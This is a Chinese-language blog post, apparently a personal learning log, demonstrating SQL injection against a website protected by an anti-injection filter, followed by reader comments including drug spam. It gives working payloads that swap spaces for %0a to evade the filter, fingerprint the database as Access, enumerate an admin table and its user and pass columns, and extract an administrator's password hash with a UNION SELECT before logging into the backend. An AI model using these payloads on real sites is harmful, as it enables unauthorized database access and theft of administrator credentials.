SQL绕过实例

简单判断是否存在注入

发现有防注入系统,在网站地址后加入“-0”和“/”进行测试

明显存在SQL注入。

post提交无法绕过

在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图所示,结果无任何变化,说明直接post提交无法绕过。

使用%09(也就是tab键)可以绕过,经过测试还是不行,如图所示,用%0a(换行符)替换下空格成功绕过

通过and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:

and%0a(select%0acount(*)%0afrom%0asysobjects)>0

and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。

通过order by判断列名

判断是否存在admin表

and (select count(*) from admin)>0

and%0a(select%0acount(*)%0afrom%0aadmin)>0

判断是否存在user以及pass字段

and %0a (select%0acount(user) %0afrom%0aadmin)>0

and%0a (select%0acount(pass) %0afrom%0aadmin)>0

获取管理员密码

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码

登录后台

评论 (8)

  • daxi| 十月 26, 2018

    学无止境,认真拜读!

  • xing| 十一月 12, 2018

    来看看,因为,总能学到东西!

    • zsm| 二月 12, 2019

      因为也在学习的过程中,没有多少时间更新,以后应该会多记录一下自己的学习心得和过程,多多交流哈

  • luo.la| 十二月 27, 2018

    Ye ! This Is A Good Blog!

  • hailporn| 一月 16, 2019

    Hello There! Have A Good Day!

  • 增大网| 二月 9, 2019

    年后第一次来,恭喜恭喜!

  • Austsact| 五月 5, 2019

    Propecia Osterreich Apotheke Fastest Delivery Of Antabuse Como Obtener Priligy viagra Moxicillinantibioticbuy Acquistare Kamagra Paris A Buon Mercato Baclofen Commander 25mg

  • 发表评论

    电子邮件地址不会被公开。